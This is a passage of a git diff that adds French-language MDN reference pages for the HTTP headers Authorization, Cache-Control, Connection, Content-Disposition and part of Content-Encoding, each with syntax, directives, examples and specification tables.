+   <td>{{RFC("7231", "Allow", "7.4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("405")}}</li>
+ <li>{{HTTPHeader("Server")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/authorization/index.html b/files/fr/web/http/headers/authorization/index.html
new file mode 100644
index 0000000000..7e597dc96e
--- /dev/null
+++ b/files/fr/web/http/headers/authorization/index.html
@@ -0,0 +1,90 @@
+---
+title: Authorization
+slug: Web/HTTP/Headers/Authorization
+tags:
+  - HTTP
+  - Reference
+  - en-tête
+  - requête
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de requête HTTP <strong><code>Authorization </code></strong>contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} <code>Unauthorized</code> et l'en-tête {{HTTPHeader("WWW-Authenticate")}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><em>&lt;type&gt;</em></dt>
+ <dd><a href="/fr/docs/Web/HTTP/Authentication#Schéma_d'authentification">Le type d'authentification</a>. Le type <code><a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a></code> est souvent utilisé. Pour connaître les autres types :
+ <ul>
+  <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+ </ul>
+ </dd>
+ <dt><em>&lt;credentials&gt;</em></dt>
+ <dd>Si c'est le type d'authentification <code>"Basic"</code> qui est utilisé, les identifiants sont construits de la manière suivante :
+ <ul>
+  <li>L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (<code>aladdin:sesameOuvreToi</code>).</li>
+  <li>Cette chaîne de caractères est ensuite encodée en <a href="/fr/docs/Web/API/WindowBase64/Décoder_encoder_en_base64">base64</a> (<code>YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note</strong>: L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique".</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>Voir aussi l'article <a href="/fr/docs/Web/HTTP/Authentication">authentification HTTP</a> avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+   <td>HTTP/1.1 : Authentification</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>Schéma d'Authentification HTTP 'Basic'</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir">Voir</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Authentication">L'authentification HTTP</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/cache-control/index.html b/files/fr/web/http/headers/cache-control/index.html
new file mode 100644
index 0000000000..47637ee8e0
--- /dev/null
+++ b/files/fr/web/http/headers/cache-control/index.html
@@ -0,0 +1,242 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Headers/Cache-Control
+tags:
+  - Cache-Control
+  - General Header
+  - HTTP
+  - HTTP Headers
+  - Reference
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><span class="seoSummary">L'en-tête HTTP <strong><code>Cache-Control</code></strong> contient des directives (ou instructions) pour la <a href="/fr/docs/Web/HTTP/Cache">mise en cache</a> tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("CORS-safelisted response header")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Pour être valables, les directives de mise en cache doivent respecter les règles suivante :</p>
+
+<ul>
+ <li>Il est recommandé de ne pas faire de distinction entre les majuscules et les minuscules..</li>
+ <li>Les directives multiples sont séparées par des virgules.</li>
+ <li>Certaines directives ont un argument optionnel, qui peut être soit un <em>jeton</em>, soit une chaîne de caractères entre guillemets. (Voir les spécifications pour les définitions)</li>
+</ul>
+
+<h3 id="Règles_de_cache_des_requêtes">Règles de cache des requêtes</h3>
+
+<p>Les règles standard <code>Cache-Control</code> suivantes peuvent être utilisées par un client HTTP dans une requête :</p>
+
+<pre class="syntaxbox">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+</pre>
+
+<h3 id="Règles_de_cache_des_réponses">Règles de cache des réponses</h3>
+
+<p>Les règles standard <code>Cache-Control</code> suivantes peuvent être utilisées par un serveur HTTP dans une réponse :</p>
+
+<pre class="syntaxbox">Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="Extensions_de_Cache-Control">Extensions de <code>Cache-Control</code></h3>
+
+<p>Les directives Extension <code>Cache-Control</code> ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la <a href="#Browser_compatibility">table de compatibilité</a> ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer.</p>
+
+<pre class="syntaxbox">Cache-Control: immutable
+Cache-Control: stale-while-revalidate=&lt;seconds&gt;
+Cache-Control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<h3 id="Possibilité_de_mise_en_cache">Possibilité de mise en cache</h3>
+
+<p>Une réponse est normalement mise en cache par le navigateur si</p>
+
+<ul>
+ <li>il a un code de statut de <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/308">308</a></code>, or <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>et</strong></li>
+ <li><code>Cache-Control</code> n'a pas de <code>no-store</code>, ou <em>s'il s'agit d'un mandataire</em>, il n'a pas d'adresse <code>privée</code> <strong>et</strong></li>
+ <li><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization">Authorization</a></code> n'est pas fixée</li>
+ <li>soit
+  <ul>
+   <li>a un code de statut de <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/308">308</a></code>, ou <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>ou</strong></li>
+   <li>a un <code>public</code>, <code>max-age</code> ou <code>s-maxage</code> dans <code>Cache-Control</code> <strong>ou</strong></li>
+   <li>a <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Expires">Expires</a></code> fixé</li>
+  </ul>
+ </li>
+</ul>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>Indique que la réponse peut être mise en cache par n'importe quel cache.</dd>
+ <dt><code>private</code></dt>
+ <dd>Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé.</dd>
+ <dt><code>no-cache</code></dt>
+ <dd>Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande.</dd>
+ <dt><code>no-store</code></dt>
+ <dd>La réponse <strong>ne</strong> peut être stockée dans<em> aucune</em> mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. <code>max-age=0</code> <strong>est déjà implicite</strong>. <strong>La définition de la directive</strong> <code>must-revalidate</code> <strong>n'a pas de sens</strong> car pour passer la revalidation,  vous devez stocker la réponse dans un cache, ce que n'empêche <code>no-store</code>.</dd>
+ <dd><strong>Ne pas copier-coller les spécifications Internet-Explorer</strong> <code>pre-check=0,post-check=0</code> Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le <a href="https://twitter.com/ericlaw/status/685201170260819968">tweet du développeur Edge</a>.</dd>
+ <dt>Désactive le cache par Cache-Control</dt>
+ <dd>
+ <pre class="example-good">no-store</pre>
+ </dd>
+ <dd>
+ <pre class="example-bad">no-cache,no-store,must-revalidate,pre-check=0,post-check=0</pre>
+ </dd>
+</dl>
+
+<h3 id="Expiration">Expiration</h3>
+
+<dl>
+ <dt><code>max-age=&lt;secondes&gt;</code></dt>
+ <dd>Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à <code>expires</code>, la durée indiquée dans cette directive commence à la date de la requête.</dd>
+ <dt><code>s-maxage=&lt;secondes&gt;</code></dt>
+ <dd>Indique une valeur pour écraser les valeurs définies par <code>max-age</code> ou <code>Expires</code> pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs).</dd>
+ <dt><code>max-stale[=&lt;secondes&gt;]</code></dt>
+ <dd>Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même.</dd>
+ <dt><code>min-fresh=&lt;secondes&gt;</code></dt>
+ <dd>Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée).</dd>
+ <dt><code>stale-while-revalidate=&lt;secondes&gt;</code> {{experimental_inline}}</dt>
+ <dd>Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données.</dd>
+ <dt><code>stale-if-error=&lt;secondes&gt;</code> {{experimental_inline}}</dt>
+ <dd>Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête.</dd>
+</dl>
+
+<h3 id="Revalidation_et_rechargement">Revalidation et rechargement</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données).</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd>Comme pour <code>must-revalidate</code>, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux.</dd>
+ <dt><code>immutable</code></dt>
+ <dd>Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">un blog en anglais</a>.</dd>
+</dl>
+
+<h3 id="Autres">Autres</h3>
+
+<dl>
+ <dt><code>no-transform</code></dt>
+ <dd>Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête <code>Content-Encoding</code>, <code>Content-Range</code> et <code>Content-Type</code> ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>Réglé par le <em>client </em>pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/504">504</a></code>. Les en-têtes conditionnels tels que <code>If-None-Match</code> ne doivent pas être définis. Il n'y a aucun effet si <code>only-if-cached</code> est défini par un serveur dans le cadre d'une réponse.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Prévention_de_la_mise_en_cache">Prévention de la mise en cache</h3>
+
+<p>Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes <code>Expires</code> et <code>Pragma</code>.</p>
+
+<dl>
+ <dd>
+ <pre class="example-good brush: http no-line-numbers">Cache-Control: no-store
+</pre>
+ </dd>
+ <dd>
+ <pre class="example-bad brush: http no-line-numbers">Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
+</pre>
+ </dd>
+</dl>
+
+<h3 id="Mise_en_cache_dactifs_statiques">Mise en cache d'actifs statiques</h3>
+
+<p>Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête <code>Expires</code>.</p>
+
+<dl>
+ <dd>
+ <pre class="brush: http no-line-numbers">Cache-Control: public, max-age=604800, immutable
+</pre>
+ </dd>
+</dl>
+
+<h3 id="Nécessitant_une_revalidation">Nécessitant une revalidation</h3>
+
+<p>Le fait de spécifier <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">no-cache</span></font> ou <code>max-age=0</code> indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide.</p>
+
+<dl>
+ <dd>
+ <pre class="brush: http no-line-numbers">Cache-Control: no-cache
+Cache-Control: no-cache, max-age=0
+Cache-Control: no-cache, max-age=0, stale-while-revalidate=300
+</pre>
+ </dd>
+</dl>
+
+
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC(8246, "HTTP Immutable Responses")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p class="hidden">La matrice de compatibilité de cette page est générée depuis le dépôt Git https://github.com/mdn/browser-compat-data. Si vous voulez contribuer en modifiant ces données, merci de faire une <em>pull request</em> sur Github.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li><a href="https://www.mnot.net/cache_docs/">Caching Tutorial for Web Authors and Webmasters</a></li>
+ <li>Guide: <em><a href="https://csswizardry.com/2019/03/cache-control-for-civilians"><code>Cache-Control</code> for civilians</a></em></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/connection/index.html b/files/fr/web/http/headers/connection/index.html
new file mode 100644
index 0000000000..8233e363ab
--- /dev/null
+++ b/files/fr/web/http/headers/connection/index.html
@@ -0,0 +1,51 @@
+---
+title: Connection
+slug: Web/HTTP/Headers/Connection
+tags:
+  - HTTP
+  - Reference
+  - Web
+  - en-tête
+translation_of: Web/HTTP/Headers/Connection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête général <strong><code>Connection</code></strong> contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est <code>keep-alive</code>, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées.</p>
+
+<div class="note"><strong>Note : </strong><a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">Les champs d'en-tête spécifiques à la connexion (tels que <code>Connection</code>) ne doivent pas être utilisés avec HTTP/2.</a></div>
+
+<p>Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the <code>Connection</code> header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td><a href="/fr/docs/Glossaire/General_header">En-tête général</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Connection: keep-alive
+Connection: close
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>close</code></dt>
+ <dd>Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0.</dd>
+ <dt>Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur <code>keep-alive</code> seule)</dt>
+ <dd>Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination).</dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("http.headers.Connection")}}</p>
diff --git a/files/fr/web/http/headers/content-disposition/index.html b/files/fr/web/http/headers/content-disposition/index.html
new file mode 100644
index 0000000000..177a3f536b
--- /dev/null
+++ b/files/fr/web/http/headers/content-disposition/index.html
@@ -0,0 +1,149 @@
+---
+title: Content-Disposition
+slug: Web/HTTP/Headers/Content-Disposition
+tags:
+  - HTTP
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Content-Disposition
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Dans une réponse HTTP régulière, l'en-tête de réponse <code>Content-Disposition</code> est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement.</p>
+
+<p>Dans un corps <code>multipart / form-data</code>, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite <code>boundary</code> définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, <code>Content-Disposition </code>n'a aucun effet.</p>
+
+<p dir="ltr" id="tw-target-text">L'en-tête <code>Content-Disposition</code> est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">
+    <table>
+     <tbody>
+      <tr>
+       <th scope="row">Type d'en-tête</th>
+       <td>{{Glossary("Response header")}} (pour le corps principal)<br>
+        {{Glossary("General header")}} (pour une sous-partie d'un corps à plusieurs parties)</td>
+      </tr>
+      <tr>
+       <th scope="row">{{Glossary("Forbidden header name")}}</th>
+       <th scope="row">Non</th>
+      </tr>
+     </tbody>
+    </table>
+   </th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="En_tant_quentête_de_réponse_pour_le_corps_principal">En tant qu'entête de réponse pour le corps principal </h3>
+
+<p dir="ltr" id="tw-target-text">Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de<br>
+ fichier si présent.</p>
+
+<pre class="syntaxbox notranslate">Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"</pre>
+
+<h3 id="En_tant_quen-tête_pour_un_corps_à_plusieurs_parties">En tant qu'en-tête pour un corps à plusieurs parties </h3>
+
+<p dir="ltr" id="tw-target-text">Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont<br>
+ séparés par un point-virgule (';').</p>
+
+<pre class="notranslate">Content-Disposition: form-data Content-Disposition: form-data;
+name="fieldName" Content-Disposition: form-data;
+name="fieldName"; filename="filename.jpg"</pre>
+
+<h2 dir="ltr" id="Directives">Directives</h2>
+
+<p dir="ltr"><code>&lt;name&gt;</code><br>
+ Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","&lt;input type=file&gt;")}} element), il peut y avoir plusieurs sous-parties portant le même nom.</p>
+
+<p dir="ltr">Un <code>name</code> avec une valeur de <code>'_charset_'</code> indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites.</p>
+
+<p dir="ltr"><code>&lt;filename&gt;</code><br>
+ Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec <code>Content-Disposition: attachement</code>, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur.</p>
+
+<p dir="ltr"><code>&lt;filename*&gt;</code><br>
+ Les paramètres <code>filename</code> et <code>filename*</code> diffèrent uniquement en ce que <code>filename*</code> utilise l'encodage défini dans la RFC 5987. Lorsque <code>filename</code> et <code>filename*</code> sont présents dans une seule valeur de champ d'en-tête, <code>filename*</code> est préféré à <code>filename</code> lorsque les deux sont présents et compris.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Une réponse déclanchant le dialogue "Enregistrer sous":</p>
+
+<pre class="brush: html notranslate">200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="cool.html"
+Content-Length: 22
+
+&lt;HTML&gt;Enregistrez-moi !&lt;/HTML&gt;
+</pre>
+
+<p>Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier <code>cool.html</code> (par défaut).</p>
+
+<p>Un exemple de formulaire HTML, publié à l'aide du format <code>multipart / form-data</code> qui utilise l'en-tête <code>Content-Disposition</code>:</p>
+
+<pre class="notranslate">POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7578")}}</td>
+   <td><br>
+    Retour des valeurs à partir des formulaires: multipart / form-data</td>
+  </tr>
+  <tr>
+   <td>{{RFC("6266")}}</td>
+   <td><br>
+    Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2183")}}</td>
+   <td><br>
+    Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("http/headers/content-disposition")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>Firefox 5 gère l'en-tête de réponse HTTP <code>Content-Disposition</code> plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre * du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}.</li>
+</ul>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a></li>
+ <li>{{HTTPHeader("Content-Type")}} définissant la limite du corps multipartie.</li>
+ <li>L'interface {{domxref("FormData")}} utilisée pour manipuler les données de formulaire à utiliser dans l'API {{domxref("XMLHttpRequest")}}.</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-encoding/index.html b/files/fr/web/http/headers/content-encoding/index.html
new file mode 100644
index 0000000000..ec258366e9
--- /dev/null
+++ b/files/fr/web/http/headers/content-encoding/index.html
@@ -0,0 +1,107 @@
+---
+title: Content-Encoding
+slug: Web/HTTP/Headers/Content-Encoding
+tags:
+  - En-têtes
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Headers/Content-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête <strong><code>Content-Encoding</code></strong> indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête <code>Content-Type</code>.</p>
+
+<p>Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td><a href="/fr/docs/Glossaire/En-tête_entité">En-tête d'entité</a></td>
+  </tr>
+  <tr>
